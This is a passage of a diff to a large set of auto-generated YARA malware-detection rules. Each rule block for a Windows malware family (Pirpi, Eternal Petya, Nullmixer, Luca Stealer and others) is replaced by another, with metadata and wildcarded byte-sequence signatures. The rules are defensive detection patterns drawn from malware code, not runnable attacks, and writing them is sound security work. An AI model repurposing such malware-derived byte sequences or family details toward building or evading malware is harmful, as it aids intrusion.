-		$sequence_8 = { 894c2410 3bda 7e6c 33d2 c7442418f0ffffff }
-		$sequence_9 = { ff15???????? c745fc0a000000 395de4 740f }
+		$sequence_0 = { ff75fc e8???????? 59 85c0 0f845c010000 395df8 0f8453010000 }
+		$sequence_1 = { 59 8d4c0002 8bc7 2bc6 03c1 894ddc 897dd0 }
+		$sequence_2 = { 8d5c3801 e8???????? 59 8945fc 8975e4 ff15???????? 6a40 }
+		$sequence_3 = { 752e 6683f930 7409 c7450c0a000000 }
+		$sequence_4 = { 53 56 c745a044000000 ff15???????? 8945fc 3bc6 }
+		$sequence_5 = { 8bf8 57 897de0 e8???????? 83c40c 680a020000 8d5c3801 }
+		$sequence_6 = { 8d45f4 50 53 ff15???????? 56 8b35???????? ffd6 }
+		$sequence_7 = { 8bf3 2b7010 e8???????? f6472801 8d440006 59 8945fc }
+		$sequence_8 = { 7423 a900040000 7518 8b06 ff750c 8b00 ff7020 }
+		$sequence_9 = { 83c602 0fb716 83c702 6685d2 75e0 668b06 663b07 }
 
 	condition:
-		7 of them and filesize <278528
+		7 of them and filesize <139264
 }
-rule MALPEDIA_Win_Pirpi_Auto : FILE
+rule MALPEDIA_Win_Data_Exfiltrator_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "98537945-bca9-5f78-aa80-688498d88ff3"
+		id = "a4e15d5b-f5a8-5629-8aa0-4b08d538c94b"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pirpi"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.pirpi_auto.yar#L1-L122"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.data_exfiltrator"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.data_exfiltrator_auto.yar#L1-L121"
 		license_url = "N/A"
-		logic_hash = "b10391fa85a6d93cb62abde2610054ffc017de9bf6b1bef0a98b13168e41c382"
+		logic_hash = "3310f9551fc82e6e58581f9d53ef710d168d316a9e233b611258320515dc0adb"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -151954,32 +159049,32 @@ rule MALPEDIA_Win_Pirpi_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 33ff 8945f4 85c0 897dfc }
-		$sequence_1 = { 46 3bf7 72eb c6043b00 5d 8bc7 }
-		$sequence_2 = { 50 ff15???????? 83c414 8d8c2434010000 }
-		$sequence_3 = { 8bd8 83c408 85db 7515 68???????? 50 }
-		$sequence_4 = { 83c404 85ed 7513 53 ff15???????? 5f 5e }
-		$sequence_5 = { 56 ff15???????? 56 8be8 ff15???????? 33d2 3bea }
-		$sequence_6 = { 33c0 f2ae f7d1 49 83f920 7350 }
-		$sequence_7 = { 03d8 f3a4 c6042b00 eb6e }
-		$sequence_8 = { 55 c744242018000000 e8???????? 83f87a 753b 55 8b2d???????? }
-		$sequence_9 = { 89442414 7516 ff15???????? 894504 c744241000000000 e9???????? }
+		$sequence_0 = { 488b4c2440 ff15???????? 4889442420 488b542448 }
+		$sequence_1 = { e8???????? 4c8b442428 488d152c570000 488b4c2420 e8???????? 41b80a000000 }
+		$sequence_2 = { 488d8c24a0000000 e8???????? 488d9424a0000000 488b8c2430010000 e8???????? 488905???????? }
+		$sequence_3 = { c68424ba00000078 c68424bb00000078 c68424bc00000078 c68424bd00000078 c68424be00000000 488d8c24a0000000 }
+		$sequence_4 = { 48894c2408 4883ec48 48837c246001 752b }
+		$sequence_5 = { c6442420fb c6442421fc c6442422fe c6442423ff c6442424aa c64424254d }
+		$sequence_6 = { c68424020100006d c684240301000000 c684240401000007 c68424050100006d c68424060100004f c684240701000072 }
+		$sequence_7 = { 89442428 837c242800 7c3a 8b442448 39442428 7d30 8b442420 }
+		$sequence_8 = { 7417 488b442450 488b4c2448 4803c8 488bc1 }
+		$sequence_9 = { 48837c242800 7509 488d05d8250000 eb22 488d542420 488b4c2428 ff15???????? }
 
 	condition:
-		7 of them and filesize <327680
+		7 of them and filesize <107520
 }
-rule MALPEDIA_Win_Eternal_Petya_Auto : FILE
+rule MALPEDIA_Win_Sepsys_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "bf49aeac-2e4f-5384-8db1-b43fb4139322"
+		id = "d155b3c0-24fe-546c-9cf6-d2f1eeec70b2"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.eternal_petya"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.eternal_petya_auto.yar#L1-L162"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sepsys"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sepsys_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "715ae6ddfaceb7ac967a454caeda07039960e25d99f3dc3f83571a182c2a56de"
+		logic_hash = "89f35a98ab7f5302d816a97393fda02a0779a3eb472a7bbe6cda60406ec5b6de"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -151993,40 +159088,34 @@ rule MALPEDIA_Win_Eternal_Petya_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 55 8bec 51 57 68000000f0 }
-		$sequence_1 = { 53 8d4644 50 53 }
-		$sequence_2 = { 57 68000000f0 6a18 33ff }
-		$sequence_3 = { 53 6a21 8d460c 50 }
-		$sequence_4 = { 68f0000000 6a40 ff15???????? 8bd8 }
-		$sequence_5 = { 49 75f2 8b4364 034360 8b4b68 894dd4 }
-		$sequence_6 = { 8945d0 8bc7 8b7df8 d3e8 8b4de0 03c1 8d3c87 }
-		$sequence_7 = { 55 8bec 8b4d0c baff000000 }
-		$sequence_8 = { 8d4508 50 53 ff750c 897508 }
-		$sequence_9 = { 68???????? e8???????? 85c0 7403 83ce02 }
-		$sequence_10 = { 68e8030000 ff15???????? 3bfe 75d3 }
-		$sequence_11 = { 55 8bec 8b5508 53 56 57 8b721c }
-		$sequence_12 = { 8b07 85c0 75c3 8b75f4 }
-		$sequence_13 = { e8???????? 894610 895614 8bc6 5f 5e }
-		$sequence_14 = { 898502fcffff 8b85e8fbffff 99 81e2ff010000 }
-		$sequence_15 = { 56 51 ffd3 8b15???????? 56 52 8985f0fbffff }
+		$sequence_0 = { eb00 c685b500000000 488b4df8 488b55e8 4c8b45f0 e8???????? 488955e0 }
+		$sequence_1 = { eb13 488b442448 4839442450 7407 b837000000 eb0e 488d4c2460 }
+		$sequence_2 = { e9???????? 0fb74b02 81f9e8030000 7338 41b801000000 6683f90a 723f }
+		$sequence_3 = { c685b604000000 488d8da0000000 e8???????? ebd8 488b4508 488d4d20 48894da8 }
+		$sequence_4 = { e8???????? 41b801000000 488d9424a0000000 488d8c24d8000000 e8???????? 488b442460 488b4008 }
+		$sequence_5 = { e8???????? 4889442430 488b442430 4889442450 488b542450 488b4c2438 e8???????? }
+		$sequence_6 = { 488b842400010000 4889842400020000 8b8c24c8010000 338c24f8010000 8b9424cc010000 339424fc010000 448b8424d0010000 }
+		$sequence_7 = { e8???????? 488945b0 eb00 488b45b0 48898518010000 eb0b 488b45b8 }
+		$sequence_8 = { d3e0 488b4c2430 89411c 4533c0 33d2 33c9 e8???????? }
+		$sequence_9 = { e8???????? 488b4c2430 ff15???????? 33d2 488d8c2460010000 e8???????? 4889442430 }
 
 	condition:
-		7 of them and filesize <851968
+		7 of them and filesize <4538368
 }
-rule MALPEDIA_Win_Nullmixer_Auto : FILE
+rule MALPEDIA_Win_Sedreco_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "e761e8a0-6032-5175-8c62-373d3cfdbd32"
+		id = "5e87e6b5-1a55-584a-943a-cd1c621a520c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nullmixer"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.nullmixer_auto.yar#L1-L133"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sedreco"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sedreco_auto.yar#L1-L450"
 		license_url = "N/A"
-		logic_hash = "ff19905731e10511745fb317854603fdd089737424883a407ad871400c764a1f"
+		logic_hash = "480e943eac316911a45e26f995712fa56ee9e542b3cfeab42c526bed2d2dce35"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -152038,34 +159127,76 @@ rule MALPEDIA_Win_Nullmixer_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6683fa05 0f8726010000 83e857 83f8ff 0f85d0fcffff 8d7600 }
-		$sequence_1 = { c7442404???????? c70424???????? c705????????d09d4a00 e8???????? c705????????01000000 83ec08 89d9 }
-		$sequence_2 = { a3???????? 8d8568feffff c7442408???????? c7442404???????? 890424 e8???????? 8d8568feffff }
-		$sequence_3 = { 8901 8d44241f 89442408 e8???????? 31d2 c7400800000000 83c00c }
-		$sequence_4 = { c784245001000000000000 31c9 e9???????? 8b8c2450010000 e8???????? b8ffffffff 8b94245c010000 }
-		$sequence_5 = { 01c9 896c2404 894c2408 890424 e8???????? e9???????? 8b442448 }
-		$sequence_6 = { 398424d0000000 0f8430050000 8b06 c744240400000000 89f1 0fb75502 891424 }
-		$sequence_7 = { 83f90f 0f4fc8 8b45a8 3975ac 19f8 0f82d0000000 8b55bc }
-		$sequence_8 = { 83ec04 837d8010 8d75b4 0f94c2 8b4808 39f9 894d8c }
-		$sequence_9 = { 89f1 e8???????? 8b06 89f1 c704242b000000 ff5018 52 }
+		$sequence_0 = { e8???????? 89450c 56 85c0 }
+		$sequence_1 = { c645ff30 e8???????? 85c0 7505 }
+		$sequence_2 = { 8bec 51 836d0804 53 }
+		$sequence_3 = { 836d0804 53 56 8b750c }
+		$sequence_4 = { 8b750c 56 e8???????? 6a08 }
+		$sequence_5 = { 50 68???????? 6a0d 68???????? }
+		$sequence_6 = { 51 6802020000 68???????? 50 }
+		$sequence_7 = { 7411 6a04 68???????? 68???????? }
+		$sequence_8 = { 7ce0 a1???????? 5e 85c0 }
+		$sequence_9 = { ff15???????? 83c604 81fe???????? 7ce0 }
+		$sequence_10 = { ffd6 8b0d???????? 898114010000 85c0 }
+		$sequence_11 = { ffd6 8b0d???????? 898198000000 85c0 }
+		$sequence_12 = { 56 be???????? 8b06 85c0 740f 50 }
+		$sequence_13 = { ffd6 8b0d???????? 894160 85c0 }
+		$sequence_14 = { ffd6 ffd0 a3???????? 5e 85c0 750a a1???????? }
+		$sequence_15 = { 6a01 68???????? ff35???????? ff15???????? ffd0 }
+		$sequence_16 = { 488b05???????? ff90e8000000 90 4883c420 }
+		$sequence_17 = { 68???????? e8???????? 8b35???????? 83c404 6a00 68???????? 6aff }
+		$sequence_18 = { 4889442420 41b906000200 4533c0 488b15???????? 48c7c101000080 488b05???????? ff9038010000 }
+		$sequence_19 = { 6800010000 6a00 68???????? e8???????? 6800020000 }
+		$sequence_20 = { ffd6 50 68???????? 6aff }
+		$sequence_21 = { 488b0d???????? 488b05???????? ff5010 85c0 }
+		$sequence_22 = { 50 68???????? 6aff 68???????? 6a00 6a00 ffd6 }
+		$sequence_23 = { 4883c428 c3 48890d???????? c3 48895c2410 4889742418 55 }
+		$sequence_24 = { 33d2 488d4c2450 488b05???????? ff90d8020000 }
+		$sequence_25 = { 4533c9 4533c0 ba000000c0 488b0d???????? 488b05???????? ff5040 }
+		$sequence_26 = { 448bc0 ba08000000 488b0d???????? ff15???????? 488905???????? }
+		$sequence_27 = { 488b0d???????? 488b05???????? ff5028 48c705????????00000000 }
+		$sequence_28 = { ffd6 8b4dfc 5f 5e 33cd b8???????? }
+		$sequence_29 = { 7cd5 68???????? e8???????? 8b4dfc 83c404 }
+		$sequence_30 = { 53 68???????? ff35???????? ffd6 ffd0 85c0 }
+		$sequence_31 = { e8???????? 8b8c2424020000 5b 33cc 33c0 e8???????? }
+		$sequence_32 = { 52 50 ff91f0000000 8bf0 }
+		$sequence_33 = { a1???????? 33c5 8945fc 6a0a 8d45f4 50 51 }
+		$sequence_34 = { 8d55f8 52 50 8b08 ff5124 }
+		$sequence_35 = { c20c00 6a02 ff74240c ff74240c e8???????? c20800 ff74240c }
+		$sequence_36 = { 57 50 ff512c 8bce }
+		$sequence_37 = { ff512c 8bf0 f7de 1bf6 46 }
+		$sequence_38 = { 8945fc 8b45f0 8945f4 8b45f4 }
+		$sequence_39 = { 50 8b08 ff9180000000 8b06 }
+		$sequence_40 = { ff512c 8bce 8bd8 e8???????? 57 }
+		$sequence_41 = { 57 c785ecfeffff01000000 c785e8feffffe197af54 0f6e85e8feffff 0f72f002 }
+		$sequence_42 = { 83ec24 53 56 57 c745dce197af54 }
+		$sequence_43 = { 8d443001 6a00 51 50 }
+		$sequence_44 = { 8d7901 8d4c2420 57 ff15???????? 84c0 }
+		$sequence_45 = { 6800040000 51 56 8974242c ff15???????? 85c0 0f8484010000 }
+		$sequence_46 = { 51 52 ff15???????? 8b442410 8b4e10 }
+		$sequence_47 = { a1???????? 8b00 8b4c2420 88440c18 }
+		$sequence_48 = { 85db 7548 fec8 53 b9???????? 8842ff }
+		$sequence_49 = { e8???????? 8a54240b 83c404 8b4c2430 895c2410 3bcb }
+		$sequence_50 = { 52 56 50 ff15???????? 6a01 }
+		$sequence_51 = { 8d442428 c684244010000001 8b11 8d4c2418 52 56 }
 
 	condition:
-		7 of them and filesize <2351104
+		7 of them and filesize <1586176
 }
-rule MALPEDIA_Win_Artra_Auto : FILE
+rule MALPEDIA_Win_Bachosens_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "e3b6f047-fdc2-51fa-b830-434c73cd7acb"
+		id = "512fddd0-592d-56ea-af08-938454f6edb9"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.artra"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.artra_auto.yar#L1-L244"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bachosens"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bachosens_auto.yar#L1-L119"
 		license_url = "N/A"
-		logic_hash = "071975b61ff1770e71eaa8840068c294ba8aa67d37ecde4d3c9fbb80c75c80c8"
+		logic_hash = "b427aef6cac4c70adae9906b44868965e5c9a8d697254ea4be31acc54b01936b"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -152077,47 +159208,32 @@ rule MALPEDIA_Win_Artra_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b442410 5f 5e 83c41c c21000 5f 33c0 }
-		$sequence_1 = { 5f 8a08 40 84c9 75f9 2bc2 880c30 }
-		$sequence_2 = { 75f9 2bc7 3bc8 72e3 8bc6 }
-		$sequence_3 = { 57 33c9 8d7801 8da42400000000 8a10 }
-		$sequence_4 = { 800431f3 8bc6 41 8d7801 }
-		$sequence_5 = { 72e3 8bc6 8d5001 5f 8a08 }
-		$sequence_6 = { 2bc2 03fb 8a4f01 47 }
-		$sequence_7 = { 85ff 0f8488000000 6a00 57 ff15???????? }
-		$sequence_8 = { 8b2d???????? 90 8b542410 8d4c2410 51 }
-		$sequence_9 = { 40 42 84c9 75f6 e8???????? }
-		$sequence_10 = { e8???????? 8b3d???????? 6a00 6a00 6a00 8d442414 50 }
-		$sequence_11 = { 57 ff15???????? 6a6d 56 ff15???????? 8bf0 }
-		$sequence_12 = { 6a00 8935???????? ff15???????? 8bf8 85ff 0f8488000000 }
-		$sequence_13 = { 8d442414 50 ffd7 85c0 7445 }
-		$sequence_14 = { 8b1d???????? 55 8b2d???????? 90 }
-		$sequence_15 = { 8a15???????? 8817 8d842484020000 8bc8 8bff 8a10 }
-		$sequence_16 = { e8???????? 8bce c644241800 e8???????? 8b47fc }
-		$sequence_17 = { c64424204d c644242161 c644242263 c644242368 c64424256e c644242665 c644242747 }
-		$sequence_18 = { 2bcd 8bfe 8d642400 8a1401 fec2 }
-		$sequence_19 = { 33c0 0fbe0c30 8d519f 83fa05 }
-		$sequence_20 = { be0c000000 8a1401 feca 8810 }
-		$sequence_21 = { ffd6 85c0 75cc 5d 5b 8b442410 }
-		$sequence_22 = { 83c40c 8b4508 8b7dfc 8be5 5d c3 33c0 }
-		$sequence_23 = { e8???????? 6a00 8d44242c 50 6a00 683f000f00 6a00 }
-		$sequence_24 = { 51 ffd6 85c0 7444 }
+		$sequence_0 = { 7703 80c1e0 3ad1 7513 49ffc0 }
+		$sequence_1 = { 660f1f840000000000 410fb707 418b3e 6603c1 4803f9 0fb7c0 }
+		$sequence_2 = { 66443908 75f4 443bc1 740a b801000000 }
+		$sequence_3 = { 49f7d9 4c8bc5 660f1f840000000000 420fb61407 410fb608 8d429f 3c19 }
+		$sequence_4 = { 488bc7 ffc1 488d4001 803800 75f5 33d2 }
+		$sequence_5 = { 75f3 418bc9 66390a 7417 }
+		$sequence_6 = { 740e 488bc5 ffc2 488d4001 803800 }
+		$sequence_7 = { 4c03d1 458b7220 418b521c 4c03f1 458b7a24 4803d1 }
+		$sequence_8 = { 0fb70a 418d409f 6683f819 7704 }
+		$sequence_9 = { 75f3 418bc9 66390a 7417 488bc2 0f1f840000000000 ffc1 }
 
 	condition:
-		7 of them and filesize <811008
+		7 of them and filesize <643072
 }
-rule MALPEDIA_Win_Rhttpctrl_Auto : FILE
+rule MALPEDIA_Win_Rumish_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "22fa66be-3212-5731-af64-75e4d7422a17"
+		id = "c7d955e8-6589-5477-8769-7cb86586e6f1"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rhttpctrl"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rhttpctrl_auto.yar#L1-L122"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rumish"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rumish_auto.yar#L1-L133"
 		license_url = "N/A"
-		logic_hash = "1c3d2b43c54e91473434d199f4328e6fb482c73192965602da658da1f5036d20"
+		logic_hash = "eaf86e8ce2c9b9b903be9f070aac683527bbc8f25626d1b33901e14e32dd278c"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -152131,34 +159247,34 @@ rule MALPEDIA_Win_Rhttpctrl_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 83c404 833d????????ff 7533 ff15???????? 68???????? c705????????dcfb4100 }
-		$sequence_1 = { e8???????? 8b404c 83b8a800000000 750e 8b04bd30424200 807c302900 741d }
-		$sequence_2 = { ffb5dcfbffff c785d8fbffff10fc4100 ff15???????? 33c0 }
-		$sequence_3 = { c645d800 68???????? 8d45d8 660fd645e9 }
-		$sequence_4 = { 8be5 5d c3 68???????? ff15???????? 833d????????00 b301 }
-		$sequence_5 = { 3bf1 756e 8b4bf0 8d73f0 8b01 ff5010 397e0c }
-		$sequence_6 = { 8b08 85c9 7407 395004 }
-		$sequence_7 = { 50 8d842498000000 50 e8???????? 83cbff 85c0 }
-		$sequence_8 = { 50 56 ff15???????? 85c0 7536 8b4714 8b35???????? }
-		$sequence_9 = { 57 e8???????? ffb5f8feffff 8d85fcfeffff 50 }
+		$sequence_0 = { 8d450c 50 e8???????? 8b4df8 e8???????? 8b45f8 8be5 }
+		$sequence_1 = { eb46 68???????? 8d8d78feffff e8???????? eb34 68???????? 8d8d78feffff }
+		$sequence_2 = { 7375 8b9570ffffff 0faf5580 039574ffffff 899574feffff 8d8574feffff 50 }
+		$sequence_3 = { 898534ffffff 8b8d34ffffff 3b4d94 7d40 e8???????? 8985a8feffff }
+		$sequence_4 = { 8d8df0faffff e8???????? e9???????? 68???????? 8d8df0faffff e8???????? e9???????? }
+		$sequence_5 = { 0fbf4dbc 898d30ffffff 8b9530ffffff 83ea04 899530ffffff 83bd30ffffff0b 0f87a4020000 }
+		$sequence_6 = { 7d5d e8???????? 898560ffffff db8560ffffff dc0d???????? dc35???????? d9bd5effffff }
+		$sequence_7 = { e8???????? 6a01 8b55f0 52 8b4d9c 83c10c e8???????? }
+		$sequence_8 = { 8bec 83ec08 894df8 51 8bcc 8965fc 8d450c }
+		$sequence_9 = { 83e901 898d80feffff 8d9580feffff 52 8d4d84 e8???????? 8b4580 }
 
 	condition:
-		7 of them and filesize <339968
+		7 of them and filesize <770048
 }
-rule MALPEDIA_Win_Flawedammyy_Auto : FILE
+rule MALPEDIA_Win_Montysthree_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "3bd73c1c-99e8-572f-ab1b-fa9278709331"
+		id = "5df0d300-da50-5a49-9998-41d773ee6c8b"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.flawedammyy"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.flawedammyy_auto.yar#L1-L298"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.montysthree"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.montysthree_auto.yar#L1-L119"
 		license_url = "N/A"
-		logic_hash = "4dc76e66643bc2a94f8c1ec04c44669739ca4e00a00102a02a05781e927a5ab3"
+		logic_hash = "00fdc41dcd00cadf758a1f9a8aa235f12bbf1e307fd238ef7d6a32ae7dd0988d"
 		score = 75
-		quality = 33
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -152170,54 +159286,32 @@ rule MALPEDIA_Win_Flawedammyy_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 0000 0404 0404 0404 0401 }
-		$sequence_1 = { 8bc4 83ec10 660fd600 f30f7e45ac }
-		$sequence_2 = { 00b3854200e5 854200 37 864200 }
-		$sequence_3 = { 8d85bcfcffff 68???????? 50 ffd3 68dff0f081 6a01 e8???????? }
-		$sequence_4 = { ffd6 8d8594f3ffff 50 68???????? 68???????? }
-		$sequence_5 = { 004bbf 42 0062bf 42 }
-		$sequence_6 = { 0039 e342 0048e3 42 }
-		$sequence_7 = { ff05???????? f7460c0c010000 7554 833cbd7cae410000 53 }
-		$sequence_8 = { 8d85bcfdffff 50 ffd3 8b45fc 80384d 0f85a7000000 8078015a }
-		$sequence_9 = { e8???????? 53 8d85c0fdffff 50 56 e8???????? }
-		$sequence_10 = { 0018 874200 58 874200 }
-		$sequence_11 = { 8b35???????? 8d85a0f6ffff 50 8d85a8f8ffff }
-		$sequence_12 = { 002a e342 0039 e342 }
-		$sequence_13 = { 8bf0 ff5208 85f6 0f8818feffff ff7508 8d4df0 e8???????? }
-		$sequence_14 = { 0022 8a4200 828a4200bb8a42 00ff }
-		$sequence_15 = { 0062bf 42 0079bf 42 }
-		$sequence_16 = { ff15???????? 8b75d8 e9???????? 8d85d0feffff 68???????? 50 ff15???????? }
-		$sequence_17 = { 8b46f8 834de4ff 49 c745e8ff000000 8b3c857c303400 c745ecffff0000 0faff9 }
-		$sequence_18 = { 4e 48 75f7 68???????? 57 ff15???????? }
-		$sequence_19 = { 8bdf 8b06 83661c00 83f807 0f87c9000000 ff248580233400 }
-		$sequence_20 = { 8b46f8 8b04855c303400 c1e002 50 6a40 }
-		$sequence_21 = { 8b4ef8 83f907 0f8781000000 ff248dfd243400 }
-		$sequence_22 = { 7330 ff75f8 ff15???????? 81c600040000 6a42 56 }
-		$sequence_23 = { eb0e 8b14957c303400 49 0fafd1 0155fc }
-		$sequence_24 = { 83f937 7f2a 8d44c1d0 0fbe0a }
-		$sequence_25 = { 33db 83f855 0f872affffff 0fb6805a213400 ff2485f6203400 8b8614080000 }
-		$sequence_26 = { 56 8a0a 80f930 7569 }
-		$sequence_27 = { 395d08 88987830ca01 0f8484010000 ff75fc 8b35???????? ffd6 f6450802 }
-		$sequence_28 = { 50 e8???????? ff75ac 8b3d???????? ffd7 ff75a8 ffd7 }
-		$sequence_29 = { ff248580233400 832700 e9???????? 55 e8???????? eb1a }
-		$sequence_30 = { 895df0 ffd6 53 ff75dc 6813100000 ff35???????? }
-		$sequence_31 = { 0f8781000000 ff248dfd243400 881f eb76 }
+		$sequence_0 = { ff15???????? 8bf0 3bf3 89754c }
+		$sequence_1 = { 8bd4 46 62807013e64e 13e6 d1b660d40c3e }
+		$sequence_2 = { 8d4d70 e8???????? ff30 687b020000 57 68???????? e8???????? }
+		$sequence_3 = { ff75f0 ffd6 8bc7 f7d8 }
+		$sequence_4 = { 50 bf00040000 57 ff15???????? 85c0 8d8574f7ffff 7405 }
+		$sequence_5 = { ff7508 53 ff15???????? 53 8d83080a0000 50 }
+		$sequence_6 = { 8d4d28 e8???????? 50 68???????? e8???????? }
+		$sequence_7 = { 8933 39753c 8b457c 8930 753d 39756c }
+		$sequence_8 = { e8???????? 8d8570fdffff 50 8d4dc4 }
+		$sequence_9 = { ff756c ff15???????? 8d4524 50 8d4d4c e8???????? eb25 }
 
 	condition:
-		7 of them and filesize <1350656
+		7 of them and filesize <458752
 }
-rule MALPEDIA_Win_Luca_Stealer_Auto : FILE
+rule MALPEDIA_Win_Dexbia_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "8a0c166d-37f3-5a13-bfc2-83fc09a4679d"
+		id = "2a243938-7809-594c-bcba-7fd4f6425c32"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.luca_stealer"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.luca_stealer_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dexbia"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dexbia_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "f2eabac635b7bb4e193cfff7279ec9fd429ac964f492c856eb49bfd67aa7534f"
+		logic_hash = "13aa7ee33f2f2a26f0806c6fd2186fbe2a0332c45fef215a0c0786ff94a8b62c"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -152231,32 +159325,32 @@ rule MALPEDIA_Win_Luca_Stealer_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 488bf8 81e7ffffff3f 498b4e60 488b5910 4885db 7452 }
-		$sequence_1 = { f645ef02 741d 807df101 7417 b201 488d4de7 e8???????? }
-		$sequence_2 = { eb06 4531c0 4889d0 48c7837802000002000000 44888380020000 c6838102000000 48898388020000 }
-		$sequence_3 = { e8???????? 498b0f 498b4708 4983670800 4885c0 740f 4883c420 }
-		$sequence_4 = { ff15???????? 894530 85c0 0f842b520000 488dbd501f0000 8b0f e8???????? }
-		$sequence_5 = { e8???????? 85c0 0f85be000000 488bcb e8???????? 488b8798090000 498bce }
-		$sequence_6 = { e8???????? 85c0 740c 488b0b 8a0439 2c3a 3c01 }
-		$sequence_7 = { e9???????? 488d3515b8d8ff eb03 4d03fd 410fb607 4484ac30009e4100 75ef }
-		$sequence_8 = { e9???????? b009 eb4f 488b842490000000 66c7000109 e9???????? 488db424e0000000 }
-		$sequence_9 = { eb86 e8???????? 0f0b 4157 4156 4155 4154 }
+		$sequence_0 = { 8bfd b908000000 be???????? 83c520 83c320 }
+		$sequence_1 = { a3???????? e8???????? 8db6ec894000 bf???????? }
+		$sequence_2 = { ff15???????? 85c0 740c 8b442414 85c0 742a }
+		$sequence_3 = { 5b 81c4e81b0000 c20400 57 ff15???????? b97f000000 33c0 }
+		$sequence_4 = { f3a5 8bcb 8d442410 83e103 50 f3a4 68???????? }
+		$sequence_5 = { 5e 5d 33c0 5b 81c408100000 c3 68???????? }
+		$sequence_6 = { 50 ffd5 a1???????? 85c0 0f841dffffff e8???????? 5f }
+		$sequence_7 = { 80e920 ebe0 80a0a09e400000 40 }
+		$sequence_8 = { 81c408100000 c3 ff15???????? 6a00 ff15???????? 5f 5e }
+		$sequence_9 = { 83c404 8bf0 33c0 89442414 8944241c }
 
 	condition:
-		7 of them and filesize <9285632
+		7 of them and filesize <106496
 }
-rule MALPEDIA_Win_Unidentified_031_Auto : FILE
+rule MALPEDIA_Win_Fast_Pos_Auto : FILE
